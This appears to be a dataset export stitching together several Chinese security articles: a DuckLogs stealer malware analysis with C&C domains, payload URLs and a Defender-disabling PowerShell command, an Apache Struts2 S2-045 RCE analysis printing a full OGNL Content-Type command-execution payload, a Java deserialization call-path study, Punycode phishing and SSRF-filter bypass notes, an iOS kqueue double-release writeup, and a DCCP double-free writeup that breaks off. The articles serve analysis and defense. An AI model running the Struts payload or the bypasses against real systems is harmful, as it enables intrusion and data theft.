text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
**作者：CybleBlogs
译者：知道创宇404实验室翻译组
原文链接：<https://blog.cyble.com/2022/12/01/ducklogs-new-malware-strain-spotted-in-the-wild/>**
## **恶意软件即服务为黑客提供复杂的功能**
Cyble研究和情报实验室（CRIL）一直在持续监控在野外新出现的活跃恶意软件家族。最近，CRIL观察到一种名为DuckLogs的新恶意软件，它执行多种恶意活动，如Stealer、Keylogger、Clipper、远程访问等。CRIL还在野外观察到DuckLogs
C&C服务器的多个活动实例，这表明恶意软件正在出现。
DuckLogs是MaaS（恶意软件即服务）。它窃取用户的敏感信息，如密码、cookie、登录数据、历史记录、加密钱包详细信息等，并将被盗数据从受害者的机器转移到其C&C服务器。下图显示了网络犯罪论坛中关于DuckLog的黑客
（TA） 广告。
图1–网络犯罪论坛中的DuckLogs窃取者广告
TA还在帖子中声称该恶意软件具有多种功能，如下图所示。
图2–DuckLogs功能
TA通过三种不同的计划出售DuckLogs恶意软件，如下所示。
图3–DuckLogs恶意软件的价格详情
## Web面板：
DuckLogs提供了一个复杂的 Web 面板，允许TA执行多项操作，例如构建恶意软件二进制文件、监控和下载受害者的被盗日志等。DuckLogs
Web面板的登录页面如下所示。
图4–DuckLogs Web面板登录页面
下图显示了DuckLogs Web面板的仪表板页面，该页面显示了受DuckLogs恶意软件感染的受害者的总体全局统计数据。
图5–DuckLogs Web面板仪表板
TA还可以通过自定义Web面板的S设置页面上提供的选项来构建恶意软件二进制文件，如下所示。
图6–DuckLogs Web面板设置页面
下图显示了stealer和dropper的生成器页面，允许TA在设置页面上启用必要的功能后构建所需的有效负载。dropper生成器是Web面板中的附加功能，它构建另一个二进制文件，作为dropper将自定义DuckLogs恶意软件发送到用户的计算机。
图7–Web面板生成器页面
## 技术分析
我们取了样本哈希（SHA256）， **
_e9bec9d4e28171c1a71acad17b20c32d503afa4f0ccfe5737171854b59344396进行分析_**
。它是一个名为 _“BkfFB.exe”_ 的32位.NET可执行文件。
执行BkfFB.exe时， _Main（）_ 函数解码名为“Bunifu.UI.dll”的硬编码base64编码模块，该模块存在于二进制文件中，并使用
_Invoke_ 方法将其加载到内存中，如图8所示。
图8–父文件加载Bunifu.UI.dll（阶段1有效负载）
## 第 1 阶段
新模块“Bunifu.UI.dll”是一个经过混淆的.NET文件，它进一步执行 _Bunifu_TextBox（）_
函数来检索父恶意软件文件BkfFB.exe的资源中存在的嵌入式位图图像“Gmtpo”。
该恶意软件使用隐写技术在压缩的位图图像中隐藏恶意内容。位图图像的成功解压将检索内存中的另一个.NET文件，即“ _MajorRevision.exe_
”，如图9所示。“Bunifu.UI.dll”模块现在使用 _Assembly.Load_ 方法加载“ _MajorRevision.exe”_
，将解压的位图内容作为参数传递，然后调用它。
图9–Bunifu.UI.dll加载MajorRevision（第2阶段有效负载）
## 第 2 阶段
在 **执行“MajorRevision.exe” _模块时，_ 它最初**将模块中存在的较大字节数组转换为十六进制值，其中包含多个反分析和反
**检测检查，以防止恶意软件在受控环境中执行，** 如下所示。
图10–MajorRevision内存中的反分析字符串.exe
在下一阶段，恶意软件通过转换另一个更大的字节数组来检索内存中的最终有效载荷（“DuckLogs.exe”），该数组也存在于“MajorRevision.exe”中。
最后，它通过使用如下所示的进程空心技术创建具有父文件名 （“BkfFB.exe”） 的新进程来注入有效负载。
图11–注入最终有效负载的过程
下图显示了最终恶意软件有效负载“DuckLogs.exe”的文件信息。静态分析表明，恶意软件有效负载是一个受Obfuscator（1.0）保护的32位.NET编译可执行文件。
图12–最终有效负载静态详细信息
## 最终有效负载分析
DuckLogs最终有效负载具有执行恶意活动的代码，例如stealer、keylogger和clipper功能。此外，该恶意软件还具有持久性、UAC
绕过、Windows defender绕过、禁用器、远程访问、文件抓取器等功能。
## 持久性和 UAC 绕过
执行后，恶意软件会在“启动”文件夹中创建自己的副本以建立持久性。将文件复制到 _启动_ 文件夹可使TA在用户登录受感染系统时自动执行恶意文件。
该恶意软件还绕过UAC（用户访问控制）并使用管理员权限自动执行。获得提升的权限后，攻击者可以在受害者的系统上窃取敏感数据、更改安全设置、安装其他恶意软件等。下图显示了DuckLogs用于执行持久性和UAC绕过的函数。
图13–用于持久性和UAC绕过的函数
## Windows Defender Bypass
该恶意软件执行以下PowerShell命令以禁用受害者系统中的Windows Defender功能。
* _“C：\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” Uninstall-WindowsFeature -name Windows-Defender_
## Stealer
“Stealer”模块从已安装的浏览器中窃取书签、历史记录、cookie、下载和密码等信息，并从电子邮件客户端、信使、VPN等应用程序中窃取敏感信息。
窃取者还针对安装在受害者机器中的加密钱包，并将所有被盗信息发送给TA。下图显示了窃取程序模块使用的功能。
图14–窃取程序的功能
## Clipper
“Clipper”模块通过将受害者的钱包地址与TA的钱包地址交换来劫持加密货币交易。恶意软件使用Clipboard.GetText（）方法获取受害者的剪贴板数据，通过匹配正则表达式模式来识别受害者的加密货币钱包地址，然后Clipper使用
_Clipboard.SetText（）_ 方法将其替换为TAs钱包地址。
它支持加密钱包，如BCH（比特币现金），BTC（比特币），DOGE（狗狗币），ETH（以太坊），LTC（莱特币），XLR（Solaris），XMR（门罗币）和XRP（瑞波币）。下图显示了用于执行Clipper活动的代码段。
图15–Clipper的代码
## Keylogger
“Logger”模块监视并存储受害者机器中的击键。捕获的击键保存在%temp%文件夹中以便导出。下图显示了恶意软件用于Keylogger的代码片段。
图16–Keylogger的代码
## 禁用器
“禁用器”模块可以使用下图所示的功能，禁用受害者机器上的任务管理器、运行、CMD和RegEdit等功能。
图17–禁用器功能
## 文件抓取器
“抓取器”模块从受害者的系统中获取与浏览器相关的文件，例如书签、历史记录、登录数据、LocalState和Cookie，并将其发送给攻击者。下图显示了文件抓取器模块所针对的浏览器名称。
图18–文件抓取器功能
## 远程控制
TA可以使用“控制”模块控制受害者的机器，并执行以下活动：
* 在受害者机器中传输和执行其他文件。
* 在浏览器中打开任何网址。
* 关闭、重新启动、注销和锁定计算机。
* 从系统中卸载恶意软件。
* 发送消息。
* 执行DoS（拒绝服务）攻击。
* 显示蓝屏死机。
* 禁用鼠标和键盘输入等。
下图显示了恶意软件用于执行远程控制活动的功能。
图19–远程访问控制代码
## 命令与控制
最后，恶意软件将所有敏感数据从受害者的机器泄露到其命令和控制（C&C）服务器 _ducklogs[.]com_ 。CRIL还观察到以下DuckLogs
C&C域名在野外活跃：
* hxxps[:]//lovableduck[.]ru
* hxxp[:]//ilovetheducks[.]ru
* hxxp[:]//quackquack[.]ru
* hxxps[:]//smallduck[.]ru
## 总结
DuckLogs是一种独特的组合，将Stealer、Keylogger和Clipper恶意软件捆绑到一个恶意软件包中，可以在网络犯罪论坛中以相对较低的价格获得，使这种威胁对更广泛的潜在受害者构成危险。
Cyble研究和情报实验室将继续监控野外的新恶意软件，并更新博客，提供可操作的情报，以保护用户免受此类攻击。
## 建议
* 最初的感染可能通过垃圾邮件发生，因此企业应使用基于电子邮件的安全性来检测网络钓鱼电子邮件。还应避免在未验证其真实性的情况下打开不受信任的链接和电子邮件附件。
* 编译的DuckLogs二进制文件由多层打包和保护。因此，建议在连接的设备（包括PC和笔记本电脑）上使用著名的防病毒软件。安全软件应具有最新的安全更新，以检测新的恶意软件系列，如DuckLogs。
* DuckLogs能够执行Clipper活动。用户在进行任何加密货币交易之前应仔细检查他们的钱包地址，以确保在复制和粘贴实际钱包地址时没有变化。
* 教育员工保护自己免受网络钓鱼/不受信任的URL等威胁。
* 阻止可能传播恶意软件的URL，例如Torrent/Warez。
## MITRE ATT&CK®技术
**策略** | **技术ID** | **技术名称**
---|---|---
执行 | [T1204](https://attack.mitre.org/techniques/T1204/)
[T1059](https://attack.mitre.org/techniques/T1059/001/)
[T1047](https://attack.mitre.org/techniques/T1047/) | 用户执行PowerShell
Windows管理工具
持久性 | [T1547系列](https://attack.mitre.org/techniques/T1547/001/) | 注册表运行键/启动文件夹
权限提升 | [T1055系列](https://attack.mitre.org/techniques/T1055/) | 进程注入
防御规避 | [T1562](https://attack.mitre.org/techniques/T1562/)
[T1497](https://attack.mitre.org/techniques/T1497/) | 禁用或修改工具虚拟化/沙盒规避
发现 | T1057 [T1082](https://attack.mitre.org/techniques/T1082/)
[T1518](https://attack.mitre.org/techniques/T1518/) | 进程发现 系统信息发现 安全软件发现
命令与控制 | T1071 T1105 [T1573](https://attack.mitre.org/techniques/T1573/)
[T1102](https://attack.mitre.org/techniques/T1102/) | 应用层协议 入口工具传输 加密通道 Web服务
## IOC
IOC | IOC类型 | 描述 | |
---|---|---|---|---
5bbbef641b0d73309939c16a8bb1621b c790ad50365158aecd4599ebab8db004bf9a9091
e9bec9d4e28171c1a71acad17b20c32d503afa4f0ccfe5737171854b59344396 | MD5 SHA1
SHA256 | BkfFB.exe （主文件） | |
58a0f68310f775b4bd4ea251064ed667 83c727335125f06b712cf4390bb9d265f77088a0
e15bf47074cc31f3445b3efb8ad75fac95ab085b5598cc82075902292ab8276b | MD5 SHA1
SHA256 | DuckLogs.exe （最终有效载荷） | |
Ducklogs[.]com | 域 | C&C | |
lovableduck[.]ru ilovetheducks[.]ru quackquack[.]ru smallduck[.]ru | 域 |
类似的C&C | |
179[.]43[.]187[.]84 | IP | C&C | |
hxxp://lovableduck[.]ru/host/drops/eYjqq6Ezx/ee48v958r[.]exe
hxxp://ilovetheducks[.]ru/host/drops/Gh879pKQj/btvM8o8sv[.]exe
hxxp://quackquack[.]ru/host/drops/g6tujhiry/hjt50kzbo[.]exe
hxxp://quackquack[.]ru/host/drops/Gh879pKQj/btvM8o8sv[.]exe
hxxp://quackquack[.]ru/host/drops/jgh1zyoel/fsgrvawrq[.]exe
hxxp://smallduck[.]ru/host/drops/ezQEvGqPI/nZAQiWiHm[.]exe
hxxp://smallduck[.]ru/host/drops/SrM7WQD2E/7s4udn5F1[.]exe
hxxp://smallduck[.]ru/host/drops/20NVT6CUe/9GseGAVEy[.]exe
hxxp://lovableduck[.]ru/host/drops/KI2kRAS0x/rrxgKvAJd[.]exe
hxxp://lovableduck[.]ru/host/drops/k1rf7fmny/lr2xfd9m9[.]exe
hxxp://ilovetheducks[.]ru/host/drops/e563bgj4y/hrldcrajl[.]exe
hxxp://ilovetheducks[.]ru/host/drops/JTQ4iHTm3/wT9lPlvPK[.].exe | URL | 有效载荷 |
|
| | | |
* * * | 社区文章 |
# 【漏洞分析】S2-045：Apache Struts2 远程代码执行（RCE）漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[xiaodingdang](http://bobao.360.cn/member/contribute?uid=291519525)
预估稿费：300RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
****
传送门
[](http://bobao.360.cn/learning/detail/3574.html)
[**【漏洞分析】Struts2-045分析（CVE-2017-5638）**
****](http://bobao.360.cn/learning/detail/3587.html)
[ 【漏洞分析】S2-045
原理初步分析（CVE-2017-5638）](http://bobao.360.cn/learning/detail/3574.html)
[【重大漏洞预警】Struts 2
远程代码执行漏洞（CVE-2017-5638）（含PoC）](http://bobao.360.cn/learning/detail/3571.html)
**
**
**0x00 前言**
本文主要是对Apache Struts2（S2-045）漏洞进行原理分析。
Apache Struts2使用的Jakarta Multipart parser插件存在远程代码执行漏洞。可以通过构造Content-Type值进行触发漏洞，造成远程执行代码。影响Struts2版本 Struts 2.3.5 – Struts 2.3.31, Struts 2.5 –
Struts 2.5.10
**0x01 漏洞公布**
大概是北京时间2017年3月6号晚上10点apache发布了S2-045预警公告
详情：<https://cwiki.apache.org/confluence/display/WW/S2-045>
随后能够得到补丁信息：
<https://github.com/apache/struts/commit/6b8272ce47160036ed120a48345d9aa884477228>
通过apache漏洞公告和补丁信息，可以得到：
1.漏洞发生在 Jakarta 上传解析器
2.受影响struts版本是Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10
3.通过Content-Type这个header头，进而执行命令，通过Strus2对错误消息处理进行回显。
**0x02 漏洞分析**
Struts2默认处理multipart报文的解析器是jakarta
<bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta" class="org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest" scope="prototype"/>
<bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta-stream" class="org.apache.struts2.dispatcher.multipart.JakartaStreamMultiPartRequest" scope="prototype"/>
JakartaMultiPartRequest.java
的buildErrorMessage函数中localizedTextUtil.findText会执行OGNL表达式，从而导致命令执行
**那么总的流程是什么呢？**
首先会在执行请求前做一些准备工作在PrepareOpertions.java中,包括通过wrapRequest的封装请求。
随后对Content-Type头部进行判断，当存在"multipart/form-data"的时候，会通过mpr，给每个请求返回一个新的实例，保证线程安全，同时交给MultipartRequest类处理
通过getSaveDir(),来获取保存上传路径
MultiPartRequestWrapper类通过获取如下参数，来对收集错误信息，文件信息和默认的本地配置进行封装返回。
漏洞发生在MultiPartRequestWrapper会通过调用JakartaMultiPartRequest.java的parse进行解析请求
parse函数又会调用buildErrotMessage()方法
而buildErrorMessage()方法又调用了LocalizedTextUtil的findText方法，导致了ONGL的执行。
**0x03 漏洞利用**
通过构造content-Type来实现利用
Content-Type:"%{(#xxx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
xxx='multipart/form-data'主要是让struts程序content_type.contains(“multipart/form-data”)判断为true
#container=#context['com.opensymphony.xwork2.ActionContext.container']
来获取上下文容器
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class
通过容器实例化，对Ognl API的通用访问，设置和获取属性。
#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd })
判断目标主机的操作系统类型，并进行执行命令赋值
#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
执行攻击命令
**0x04 漏洞修复**
1. 可升级版本到Apache Struts 2.3.32或者Apache struts 2.5.10.1
2.官方补丁
[https://github.com/apache/struts/commit/b06dd50af2a3319dd896bf5c2f4972d2b772cf2b](https://github.com/apache/struts/commit/b06dd50af2a3319dd896bf5c2f4972d2b772cf2b)
随笔感想：
这么严重的安全事件，在3月7号早上poc和exp就被泄露出来了，可以说给企业留给应急的时间很短，一时间无数人通过搜索引擎去利用s2-045进行利用，根据受影响的站点，政府和学校应该是受影响最大的组织。引用heige话一时间如同蝗虫般侵袭着网站，但是让人欣慰的是国家对于安全问题越来越重视，近几年在安全方面投入的加大，各公司的安全应急做的很快，尤其是互联网公司。基本3月8号晚上基本都完成了对s2-045漏洞的修复。
**这里面我觉得有几个方面原因：**
1\.
国内存在着像补天，漏洞盒子等这样的漏洞收集平台（据说审核人员这次一晚上审核上千个漏洞），对于漏洞通报，快速响应至关重要，最让人眼前一亮的是还在beta测试阶段的教育行业漏洞报告平台(<https://src.edu-info.edu.cn/> )，可以说对于学校处理s2-045漏洞发挥了很大的作用。
2\.
国内对于安全的重视，安全人员的培养，安全行业的宣传，使更多人和大学生接触到了安全行业，这才导致了大量的人员去平台提交漏洞，大部分安全从业者还是懂法，具有道德底线的，知道什么事可以干，什么事不行。
3\. 随着国内安全行业的发展，涌现了一批从事安全专业公司包括bat3，不管是安全服务还是安全设备防护等等，极大的提高了企业的安全防护能力和安全意识。
最后，我觉得从这次事件可以看出，国内对于重大安全事件的应急响应能力有了质的飞跃。
传送门
[](http://bobao.360.cn/learning/detail/3574.html)
* * *
[**【漏洞分析】Struts2-045分析（CVE-2017-5638）**](http://bobao.360.cn/learning/detail/3587.html)
[【漏洞分析】S2-045
原理初步分析（CVE-2017-5638）](http://bobao.360.cn/learning/detail/3574.html)
[【重大漏洞预警】Struts 2
远程代码执行漏洞（CVE-2017-5638）（含PoC）](http://bobao.360.cn/learning/detail/3571.html) | 社区文章 |
## 0x01 起因
关于Java反序列化的文章已经相当的多了，而且大家也对于这个东西说的很清楚了，所以今年我想换个角度来看看这个东西。我们都知道Java反序列化漏洞的产生原因在于开发者在重写
**readObject** 方法的时候，写入了漏洞代码，这个和PHP的反序列化漏洞很像，在反序列化的时候出发了在 **__destruct**
等魔术函数中的漏洞代码。这里就有一个问题了，先看一下我的demo吧， **ObjectCalc.java** 为重写 **readobject**
方法文件。
那么我通过下面的代码可以触发反序列化漏洞，弹出计算器。
那么问题来了我们通过 **第8行** **ois.readObject** 获取到的输入流过程中调用了 **readObject**
方法，为什么最后会调用到被反序列化类（ **ObjectCalc** ）中的 **readObject** 方法，这个 **readObject**
调用过程到底是怎么样的。
## 0x02 深入分析
为了弄清楚这个问题，我决定在 **ObjectCalc.java** 文件中的命令执行位置下一个断点，好的相关调用栈已经出来了，这时候我们跟进一下。
先跟进一下 **ObjectInputStream.readObject** ，这里我简化了一下代码，关键位置在 **第431行** 调用了
**readObject0** 方法，并且传入false。
继续跟进一下 **readObject0** 方法，关键在下面这两行，此时的 **TC_OBJECT** 的值为115，且调用了
**readOrdinaryObject** 方法。
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
跟进 **readOrdinaryObject** 方法，调用了 **readSerialData** 方法。
private Object readOrdinaryObject(boolean unshared)
throws IOException
{
...
if (desc.isExternalizable()) {
readExternalData((Externalizable) obj, desc);
} else {
readSerialData(obj, desc);
}
继续跟进一下 **readSerialData** 方法，该方法的实现如下所示。
从动态调试结果来看，重写 **readObject** 会进入第14行的 **slotDesc.invokeReadObject** 方法中，再跟进一下
**slotDesc.invokeReadObject** 方法，该方法主要代码如下：
void invokeReadObject(Object obj, ObjectInputStream in)
throws ClassNotFoundException, IOException,
UnsupportedOperationException
{
requireInitialized();
if (readObjectMethod != null) {
try {
readObjectMethod.invoke(obj, new Object[]{ in });
其中 **readObjectMethod.invoke** 这个方法很熟悉了，java的反射机制，也就说通过重写 **readObject**
的整个调用流程会进过java的反射机制。
这里再看一个不通过重写 **readObject** 反序列化的调用过程，我省略了前面的跟踪调试过程，大家看下图。
不通过重写 **readObject** 的反序列化过程一样是进入 **readSerialData** 中，但是是通过
**defaultReadFields** 进行处理，这里有个关注点是 **slotDesc.hasReadObjectMethod()**
返回的结果是false，也就是下面这个if判断的结果，我简化了一下流程。
else if (slotDesc.hasReadObjectMethod()) {
slotDesc.invokeReadObject(obj, this);
...
} else {
defaultReadFields(obj, slotDesc);
}
也就是说实际上是否重写了 **readObject** 影响的是 **slotDesc.hasReadObjectMethod()** 的结果，那么跟进一下
**hasReadObjectMethod** 方法，这里我在`return (readObjectMethod !=
null);`下了一个断点，对比一下重写 **readObject** 结果和不重写 **readObject** 结果的差别，第一张图是不重写
**readObject** ，第二张图是重写 **readObject** 。
很明显我们发现了返回结果不一样，第一张图的结果自然return为false，第二张图return结果自然为true，也就是说重写
**readObject** 结果和不重写 **readObject** 结果的差别本质上在于进入的循环不一样。
## 0x03 小结
根据上面的动态调试结果，简单做个小结，也就是说如果反序列化的过程中被反序列化类重写了 **readObject** ，该数据在反序列化的过程中核心流程走到
**readSerialData** 方法中的 **slotDesc.invokeReadObject** 方法，通过反射机制触发相关流程，并且调用重写的
**readObject** 。如果没有重写 **readObject** ，则调用 **ObjectInputStream** 类中的
**readObject** 方法，并且执行反序列化。 | 社区文章 |
> <https://lz1y.github.io/2018/07/18/Punycode/>
## Internationalized Domain Name
#####
由于互联网起源于美国，使得英文成为互联网上资源的主要描述性文字。这一方面促使互联网技术和应用的国际化，另一方面，随着互联网的发展特别在非英文国家和地区的普及，又成为非英语文化地区人们融入互联网世界的障碍。2003年3月份IETF发布的多语种域名国际标准(RFC3454、RFC3490、RFC3491、RFC3492).
由此,[国际化域名](https://zh.wikipedia.org/wiki/%E5%9B%BD%E9%99%85%E5%8C%96%E5%9F%9F%E5%90%8D)也应运而生.
> 国际化域名（英语：Internationalized Domain
> Name，缩写：IDN）又称特殊字符域名，是指部分或完全使用特殊的文字或字母组成的互联网域名，包括法语、阿拉伯语、中文、斯拉夫语、泰米尔语、希伯来语或拉丁字母等非英文字母，这些文字经多字节万国码编译而成。在域名系统中，国际化域名使用Punycode转写并以美国信息交换标准代码（ASCII）字符串储存。
虽说中文域名也已存在了十余年,但是它在中国互联网中却很少亮相.
一些公司,教育机构所使用的中文域名:
百度贴吧: 贴吧.公司
天津大学: 天津大学.cn
除了中文域名外,还有诸如 `.公司` 这类中文顶级域名可供注册.
而目前绝大部分的主流浏览器(Safari,chrome,Firefox等)也早已支持IDN.
cURL的提示信息:
**`Input domain encoded as 'UTF-8'`**
cURL对域名做了如下转换:
`贴吧。公司` => `xn--4qrp14k.xn--55qx5d`
想知道以上的转换是如何做到的,就不得不谈一下Punycode了.
## Punycode
>
> Punycode（译为：域名代码）是一种表示Unicode码和ASCII码的有限的字符集。例如：“münchen”（德国慕尼黑）会被编码为“mnchen-3ya”。
Punycode的目的是在于国际化域名标签（IDNA）的框架中，使这些（多语言）的域名可以编码为ASCII。编码语法在文档[RFC3492](https://tools.ietf.org/html/rfc3492)中规定。
> Punycode is a simple and efficient transfer encoding syntax designed
> for use with Internationalized Domain Names in Applications (IDNA).
> It uniquely and reversibly transforms a Unicode string into an ASCII
> string. ASCII characters in the Unicode string are represented
> literally, and non-ASCII characters are represented by ASCII
> characters that are allowed in host name labels (letters, digits, and
> hyphens). This document defines a general algorithm called
> Bootstring that allows a string of basic code points to uniquely
> represent any string of code points drawn from a larger set.
> Punycode is an instance of Bootstring that uses particular parameter
> values specified by this document, appropriate for IDNA.
说白了,Punycode就是将Unicode字符串转成ASCII范围的字符,而`xn--`就是声明后面的字符串全部是Unicode编码.
## 安全相关
由于全世界语种繁多,各式各样的文字涌入了域名难免会发生一些问题.
#### Punycode钓鱼攻击
许多Unicode字符，代表的是国际化的域名中的希腊、斯拉夫、亚美尼亚字母，看起来跟拉丁字母一样，但是计算机却会把他们处理成完全不一样网的网址。
比如说，斯拉夫字母“а”（U+0430）和拉丁字母“a”（U+0041）会被浏览器处理成不同的字符，但是在地址栏当中都显示为“a”。
由于之前的部分浏览器,并不是在地址栏上显示Punycode编码后的域名,这样一来,就会产生很多令人混淆不清的域名.
这个漏洞影响没有多长时间,在漏洞披露出来后没多久,受影响的厂商都在后来的更新把漏洞给修复了.
#### 短域名
因为海量的Unicode字符,也经常出现一些比较有意思的事情.
mramydnei师傅14年在乌云上就发过一篇文章[短域名进化史](https://wystatic.tuisec.win/static/drops/tips-2839.html),详细讲解了利用Punycode低成本缩短域名至两位字符甚至一位字符.(ps:现在利用这个方法,长度至少三位)
例如:
`㎉.㎝`
#### 差异化解析
* JS中,编码前后的字符串不相同,但是同域
* Bypass ssrf check
由于cURL也支持IDN，可以进行Punycode编码，所以我们也可以用来绕过日常的ssrf等漏洞的利用限制。
punycode解码: ⑫ => 12
例如柠檬师傅曾经用过的一个[check
ssrf脚本](https://github.com/chengable/safe_code/blob/master/ssrf_check.php)。
ps:柠檬师傅的文章[13th_cuit_game_wp_web300_ssrf](https://www.cnblogs.com/iamstudy/articles/13th_cuit_game_wp_web300_ssrf.html)
我们将其中的URL改成我们上面的URL:
然后运行:
成功bypass了SSRF限制。
#### 拓展
除了字符串,域名中的符号也是会参与到Punycode编码转换.
由于punycode不仅仅转换中文,所以除了简体中文的句号,还有台港澳的置中`。`,日本的半角中式句号`｡`(U+FF61),台港澳置中`﹒`(U+FE52),中国大陆标准为靠左下`．`等...
除了句号外,常见的符号还有破折号也有此类特性...
#### The end
至此，我只是非常浅显的分析，没有认真寻找漏洞案例。文章主旨也在于抛砖引玉...但是这个点的威力肯定不仅限于文中几点。希望有想法的读者可以跟我一起讨论讨论，扩充攻击面
Orz...
## ref
[rfc3492](https://tools.ietf.org/html/rfc3492)
[Punycode](https://zh.wikipedia.org/wiki/Punycode)
[国际化域名](https://zh.wikipedia.org/wiki/%E5%9B%BD%E9%99%85%E5%8C%96%E5%9F%9F%E5%90%8D)
[短域名进化史](https://wystatic.tuisec.win/static/drops/tips-2839.html)
[xn-on-domain-what-it-means](https://stackoverflow.com/questions/9724379/xn-on-domain-what-it-means)
[Internationalized_domain_name](https://en.wikipedia.org/wiki/Internationalized_domain_name#cite_note-18)
[This Phishing Attack is Almost Impossible to Detect On Chrome, Firefox and
Opera](http://www.freebuf.com/news/132240.html) | 社区文章 |
**作者： Qixun Zhao(@S0rryMybad) of Qihoo 360 Vulcan Team**
**原文链接：<https://blogs.projectmoon.pw/2019/10/30/iOS-13-1-3-Full-Chain-Eop/>**
该漏洞修复于 iOS 13.2, CVE 编号未明, 本来我打算用于 TianfuCup 的 iPhone rjb(当然还单纯只有漏洞^^),
但是遗憾在比赛前十多天被修复了, 但是该漏洞的成因很简单也很有趣. 关于 Safari 的漏洞我也会迟点写个 post.
漏洞出在最近添加的一个 syscall: kqueue_workloop_ctl, 它之后会调用底层函数
kqueue_workloop_ctl_internal. 在漏洞路径上没有任何 MACF check, 也就是说它可以用于任何沙盒内的提权, 包括
Safari.
kqueue_workloop_ctl_internal 函数内一共有两个问题, 第一个问题出在如下代码:
我们可以看到, 假如 TRP_RELEASED 这个 flag 没有设置, 就会调用 kqueue_release 两次, 一共减去两个引用计数,
如果设置了, 就代表这个 kq 已经被释放过了, 就只调用一次减去一个引用计数, 这一个引用计数是对应 kevent_get_kq 这个函数加上去的.
咋一看没有任何问题, 既可以避免了 race 的发生, 也可以避免多次释放同一个kq, 导致 over release.但是问题的关键在于这个 flag
设置在了一个栈变量上,而不是堆变量上, 也就是说, 无论如何设个 flag 都不会为 true.
因此这个问题的起因虽然很简单, 但是也很难发现, 因为代码看上去没有任何的问题, 如果不连着上面的|trp|变量的来源一起看的话.关于 poc
的触发可以有两种方式, 第一种是通过 race, 导致 over release, 第二种是把 kq 挂在一个别的对象身上, 先把引用计数加一,
然后通过这个漏洞多次释放, 把对象引用计数减到 0 然后释放, 再通过别的对象的指针引用产生 UaF. 这里我的 poc 比较简单, 就是通过 race
触发, 如果要写 exploit, 则第二个触发方法比较靠谱:
关于漏洞的补丁很简单, 就是 flag 必须要设置到堆变量里, 不然产生不了任何效果:
至于第二个问题则存在于 kevent_get_kq 中, 留给读者自己去发现.
* * * | 社区文章 |
# CVE-2017-6074 DCCP拥塞控制协议Double-Free提权分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**影响版本** ：Linux v2.6.14 – v4.9.13。 v4.9.13已修补，v4.9.12未修补。 评分7.8分。
隐藏时间超过10年，从2005年10月的v2.6.14开始。
**测试版本** ：Linux-v4.9.12 [exploit及测试环境下载地址](https://github.com/bsauce/kernel-exploit-factory)—<https://github.com/bsauce/kernel-exploit-factory>
**编译选项** ： **CONFIG_IP_DCCP=y** **CONFIG_INET_DCCP_DIAG=y** 以及与`DCCP`相关的选项。
在编译时将`.config`中的`CONFIG_E1000`和`CONFIG_E1000E`，变更为=y。[参考](https://blog.csdn.net/qq_16097611/article/details/104965045)
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.9.12.tar.xz
$ tar -xvf linux-4.9.12.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录：/arch/x86/boot/bzImage。
**漏洞描述** ：Linux内核IP V6协议簇的DCCP（数据报拥塞控制协议），`net/dccp/input.c`中的
[dccp_rcv_state_process()](https://elixir.bootlin.com/linux/v4.9.12/source/net/dccp/input.c#L574)
函数，在`LISTEN`状态下错误处理 `DCCP_PKT_REQUEST`
包数据结构，用户采用`IPV6_RECVPKTINFO`选项调用`setsockopt()`时会触发`sk_buff`结构的 **Double-Free**
。
**补丁** ：[patch
](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5edabca9d4cff7f1f2b68f0bac55ef99d9798ba4)
调用[consume_skb()](https://elixir.bootlin.com/linux/v4.9.12/source/net/core/skbuff.c#L748)继续占用skb，以避免跳到`discard`中`kfree_skb()`释放skb。`consume_skb()`
表示 skb是正常释放，`kfree_skb()` 表示因为某种错误报文被丢弃。
diff --git a/net/dccp/input.c b/net/dccp/input.c
index ba347184bda9b..8fedc2d497709 100644
--- a/net/dccp/input.c
+++ b/net/dccp/input.c
@@ -606,7 +606,8 @@ int dccp_rcv_state_process(struct sock *sk, struct sk_buff *skb,
if (inet_csk(sk)->icsk_af_ops->conn_request(sk,
skb) < 0)
return 1;
- goto discard;
+ consume_skb(skb);
+ return 0;
}
if (dh->dccph_type == DCCP_PKT_RESET)
goto discard;
**保护机制** ：开启SMEP/SMAP，未开启KASLR。
**利用总结**
